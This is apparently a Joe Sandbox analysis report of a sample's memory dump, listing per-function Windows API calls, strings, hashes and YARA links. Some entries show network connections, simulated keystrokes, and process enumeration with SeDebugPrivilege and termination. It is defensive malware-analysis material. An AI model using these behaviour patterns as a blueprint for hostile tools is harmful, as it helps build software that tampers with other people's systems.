API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: f1a154aeba12fb1890d103ae59a0cf0d6988fdb1b93ff57a202a72aaa18c3d69
Instruction ID: c9f8aa5137c2875dffb99097cafd85f3a852c5e8b6d8851880593741f11f4258
Opcode Fuzzy Hash: f1a154aeba12fb1890d103ae59a0cf0d6988fdb1b93ff57a202a72aaa18c3d69
Instruction Fuzzy Hash: 0651AE70600645EFEB20DF25CC41FAA7BF5FB88350F104618F996972A0DBB6E991EB50

Function 0104C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0104C182
GetLastError.KERNEL32 ref: 0104C195
SetEvent.KERNEL32(?), ref: 0104C1A9

Part of subcall function 0104C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0104C272
Part of subcall function 0104C253: GetLastError.KERNEL32 ref: 0104C322
Part of subcall function 0104C253: SetEvent.KERNEL32(?), ref: 0104C336
Part of subcall function 0104C253: InternetCloseHandle.WININET(00000000), ref: 0104C341

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: ffbe7c3b0d012973f3a46a118fa097a6e715a8e199554fe7851939e05949692c
Instruction ID: 5ea08834ba652fd1c64b1b9c14f067cdd0380a099a3e12143f21e4c0e5511c3b
Opcode Fuzzy Hash: ffbe7c3b0d012973f3a46a118fa097a6e715a8e199554fe7851939e05949692c
Instruction Fuzzy Hash: 663183B1502641BFFB219FB5DB84A6A7BF8FF14200B04442DF9DA82624D775E4149B60

Function 010325A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 01033A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 01033A57
Part of subcall function 01033A3D: GetCurrentThreadId.KERNEL32 ref: 01033A5E
Part of subcall function 01033A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,010325B3), ref: 01033A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 010325BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 010325DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 010325DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 010325E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 01032601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 01032605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0103260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 01032623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 01032627

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: e3fe75068930df16e1f5a3bf67cecf61145b31438d232c42754c469bb12ebf41
Instruction ID: a922baef9f9ff51c80b84c6404d31512fd2013c71746be5143616ed0767c744a
Opcode Fuzzy Hash: e3fe75068930df16e1f5a3bf67cecf61145b31438d232c42754c469bb12ebf41
Instruction Fuzzy Hash: 8401D830790610BBFB2076689C8AF593F5DDF8EB11F100001F394AE0D4C9F224458B69

Function 01031803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,01031449,?,?,00000000), ref: 0103180C
HeapAlloc.KERNEL32(00000000,?,01031449,?,?,00000000), ref: 01031813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,01031449,?,?,00000000), ref: 01031828
GetCurrentProcess.KERNEL32(?,00000000,?,01031449,?,?,00000000), ref: 01031830
DuplicateHandle.KERNEL32(00000000,?,01031449,?,?,00000000), ref: 01031833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,01031449,?,?,00000000), ref: 01031843
GetCurrentProcess.KERNEL32(01031449,00000000,?,01031449,?,?,00000000), ref: 0103184B
DuplicateHandle.KERNEL32(00000000,?,01031449,?,?,00000000), ref: 0103184E
CreateThread.KERNEL32(00000000,00000000,01031874,00000000,00000000,00000000), ref: 01031868

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: f05c1ab3934ec78a07636650c0765e73c4546375e0666cae92870035b328b0db
Instruction ID: da59f13c231daa53d467d9427a1e4ad1374f97c6c3c58e86aeb843908d71d8d0
Opcode Fuzzy Hash: f05c1ab3934ec78a07636650c0765e73c4546375e0666cae92870035b328b0db
Instruction Fuzzy Hash: 8001A8B5240348FFF620ABA5DD49F6B3BACEB8AB11F004411FA85DB1A5CA7598008B20

Function 0105A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0103D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0103D501
Part of subcall function 0103D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0103D50F
Part of subcall function 0103D4DC: CloseHandle.KERNELBASE(00000000), ref: 0103D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0105A16D
GetLastError.KERNEL32 ref: 0105A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0105A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0105A268
GetLastError.KERNEL32(00000000), ref: 0105A273
CloseHandle.KERNEL32(00000000), ref: 0105A2C4

Strings

SeDebugPrivilege, xrefs: 0105A18F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 64a245eeb11af54cc8c45b33a95a6558fa9024fd9cc8426812706806545f3a90
Instruction ID: 778f9c987f13c35cea4a2278e8a5a057e3e7a7d90d40510e123a6f882fc919a7
Opcode Fuzzy Hash: 64a245eeb11af54cc8c45b33a95a6558fa9024fd9cc8426812706806545f3a90
Instruction Fuzzy Hash: A961B130204242DFE760DF18C495F5ABBE1AF44358F18858CE9968F7A3C776E945CB91

Function 01063886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 01063925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0106393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 01063954
_wcslen.LIBCMT ref: 01063999
SendMessageW.USER32(?,00001057,00000000,?), ref: 010639C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 010639F4

Strings

SysListView32, xrefs: 010638F7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 2c4c18d4858603874de5404b69870de033aad146bbdb60bd97c31a8a31c39d68
Instruction ID: 7ab82b93cc7e284cbdcdf5a8c3f74da0305a57b280f274b1d05bcfef347be60f
Opcode Fuzzy Hash: 2c4c18d4858603874de5404b69870de033aad146bbdb60bd97c31a8a31c39d68
Instruction Fuzzy Hash: B5418271A00319ABEF219F64CC45FEA7BADFF08350F10056AF998EB291D7759980CB90

Function 0103BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0103BCFD
IsMenu.USER32(00000000), ref: 0103BD1D
CreatePopupMenu.USER32 ref: 0103BD53
GetMenuItemCount.USER32(00B84D50), ref: 0103BDA4
InsertMenuItemW.USER32(00B84D50,?,00000001,00000030), ref: 0103BDCC

Strings

0, xrefs: 0103BCA8
2, xrefs: 0103BD37

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: ad3b182be783f6f02e0d0de015f5bb7be362fd56707670eb68e1b3b37f370b4d
Instruction ID: 621e5d99bd9eea538b941377ad26c45b01d1b7b09b54f9a86efebc18ca4d2e46
Opcode Fuzzy Hash: ad3b182be783f6f02e0d0de015f5bb7be362fd56707670eb68e1b3b37f370b4d
Instruction Fuzzy Hash: B551B270A002099BEF21EFACD988BADBFFCBF85318F144199E581DB291E7709541CB52

Function 0103C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0103C913

Strings

question, xrefs: 0103C8CC
info, xrefs: 0103C8B4
stop, xrefs: 0103C8E4
warning, xrefs: 0103C8FC
blank, xrefs: 0103C895

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 00caf5ffd17d8e8e0a75de1baeea8e4e8e40bd548610bb3890630716c461cd9a
Instruction ID: 470ae78f8959afaea8e1818a7093fdecc666b8fd75ee9272e6f8c4ca1babfc9d
Opcode Fuzzy Hash: 00caf5ffd17d8e8e0a75de1baeea8e4e8e40bd548610bb3890630716c461cd9a
Instruction Fuzzy Hash: 3911EB3668930BBAFB019B559D86CAF77DCDF45360B1100AFF580FA182E7A96F006264

Function 0103DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0103DE42
gethostname.WSOCK32(?,00000100), ref: 0103DE5C
gethostbyname.WSOCK32(?), ref: 0103DE69
inet_ntoa.WSOCK32(?), ref: 0103DEAB
_strcat.LIBCMT ref: 0103DEB9
WSACleanup.WSOCK32 ref: 0103DEDE

Strings

0.0.0.0, xrefs: 0103DE87

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 49631e89624ece96bacf40fa21c2996b84c0a6114729551083fe2c4ec345fb48
Instruction ID: f711c625dbf6f77d18770f7f917eab48a5fdf8250dc5b23d13ce26937b52f386
Opcode Fuzzy Hash: 49631e89624ece96bacf40fa21c2996b84c0a6114729551083fe2c4ec345fb48
Instruction Fuzzy Hash: 0D115931900109AFDB30BB64DC0AEEF3BACDF50710F4401AEF1C5960A1EFBA96819760

Function 01069F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

GetSystemMetrics.USER32(0000000F), ref: 01069FC7
GetSystemMetrics.USER32(0000000F), ref: 01069FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0106A224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0106A242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0106A263
ShowWindow.USER32(00000003,00000000), ref: 0106A282
InvalidateRect.USER32(?,00000000,00000001), ref: 0106A2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 0106A2CA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: d118af3aa227cfc30abb77b4d299487044d9fe3eaebb062da570580153dc262a
Instruction ID: 028d755154df53e885ea81e3847acdff4a1b2a910be839674617864bf4b49c23
Opcode Fuzzy Hash: d118af3aa227cfc30abb77b4d299487044d9fe3eaebb062da570580153dc262a
Instruction Fuzzy Hash: 16B19A31600216DBEF14DF6CC9847AE3BF6BF44741F0880A9ED85AF289D735A940CB60

Function 0103ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0103ED2A
_wcslen.LIBCMT ref: 0103ED3B
_wcslen.LIBCMT ref: 0103ED79
_wcslen.LIBCMT ref: 0103EDAF
_wcslen.LIBCMT ref: 0103EDDF
_wcslen.LIBCMT ref: 0103EDEF
_wcslen.LIBCMT ref: 0103EE2B
_wcslen.LIBCMT ref: 0103EE5A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: c5f406a3f56e1af55ce3ac0e89f022617a788e225b013364e96d467846d05838
Instruction ID: 3b231c6da6320ea9afb113cf2ef356134a5dcf7375903c5d491b94028f099d67
Opcode Fuzzy Hash: c5f406a3f56e1af55ce3ac0e89f022617a788e225b013364e96d467846d05838
Instruction Fuzzy Hash: 33419F65D1021C65CB21EBB4CC8A9DFB7ACAF85710F408566E618E3122FB38E255C3E5

Function 00FEF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0102682C,00000004,00000000,00000000), ref: 00FEF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0102682C,00000004,00000000,00000000), ref: 0102F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0102682C,00000004,00000000,00000000), ref: 0102F454

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: bc346db4eb060e702fd9b603a39f7053719e90a9221be7a047a66e6c7124e483
Instruction ID: a5b28658de1d1bdc9629fa5511fafb76d3b4b3f74f271ef21e6fbded320916ec
Opcode Fuzzy Hash: bc346db4eb060e702fd9b603a39f7053719e90a9221be7a047a66e6c7124e483
Instruction Fuzzy Hash: D9415A31A086C0BAD7398B2FCD8872E7FA1AB46360F15802DE0C757562C67AA588E711

Function 01062D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 01062D1B
GetDC.USER32(00000000), ref: 01062D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 01062D2E
ReleaseDC.USER32(00000000,00000000), ref: 01062D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 01062D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 01062D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,01065A65,?,?,000000FF,00000000,?,000000FF,?), ref: 01062DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 01062DE1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 58973c690e37be8eaba8b4d869e18e1f96a5d222a962799a103443942544d8e7
Instruction ID: 045e96b28ae87bbd34d8627fc2a8f10d220145d33d6dbcba0da19db67519903a
Opcode Fuzzy Hash: 58973c690e37be8eaba8b4d869e18e1f96a5d222a962799a103443942544d8e7
Instruction Fuzzy Hash: FA318B72201214BBFB218F548C8AFEB3FADEF09715F044055FE889A291C6BA9840C7A4

Function 01035622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 01035637
_memcmp.LIBVCRUNTIME ref: 01035659
_memcmp.LIBVCRUNTIME ref: 01035671
_memcmp.LIBVCRUNTIME ref: 01035684
_memcmp.LIBVCRUNTIME ref: 0103569E
_memcmp.LIBVCRUNTIME ref: 010356B1
_memcmp.LIBVCRUNTIME ref: 010356C9
_memcmp.LIBVCRUNTIME ref: 010356E4

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a301a688d76f2037b4d60cdc687cc3421fae333726dfb61ff0c819696e7e5c6c
Instruction ID: fe6f2512886ca7cc0a4abe80bbe5e296e1759b29bd300b355bf0cddc5cf51c4a
Opcode Fuzzy Hash: a301a688d76f2037b4d60cdc687cc3421fae333726dfb61ff0c819696e7e5c6c
Instruction Fuzzy Hash: 1B21F9B174420AB7E2155926BE92FFE339DBFA4294F040014FE859F561F724ED10D1E5

Function 01054FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0105502E, 01055383
Not an Object type, xrefs: 01055007

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: bcdad2199d734e210eb53e4a4a837e7f377a1b1e7821b56718d7402832b7cd9f
Instruction ID: 8c2adcff9855073ed26317a6315ff6b900c54d909c4b88ce66d4d18e782113e0
Opcode Fuzzy Hash: bcdad2199d734e210eb53e4a4a837e7f377a1b1e7821b56718d7402832b7cd9f
Instruction Fuzzy Hash: 15D1A275A0020A9FDF90CF98CC80AAEBBF5BF48354F148469ED95AB281E771D945CB50

Function 01011522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,010117FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 010115CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,010117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 01011651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,010117FB,?,010117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 010116E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,010117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 010116FB

Part of subcall function 01003820: RtlAllocateHeap.NTDLL(00000000,?,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6,?,00FD1129), ref: 01003852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,010117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 01011777
__freea.LIBCMT ref: 010117A2
__freea.LIBCMT ref: 010117AE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 7707fe4eeab04668799703d158c5c3ebae37751c5823b9ee323c4ab061d23d1a
Instruction ID: e7fdcba3b2615d9e30818f9b71ea2be4599d568b9f1cba52e1ba6a314bce97da
Opcode Fuzzy Hash: 7707fe4eeab04668799703d158c5c3ebae37751c5823b9ee323c4ab061d23d1a
Instruction Fuzzy Hash: 6A91CC71E042169FEB298E78C841AEE7BF5AF09710F1C4599EB81E7288D73DD940C7A0

Function 01054523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

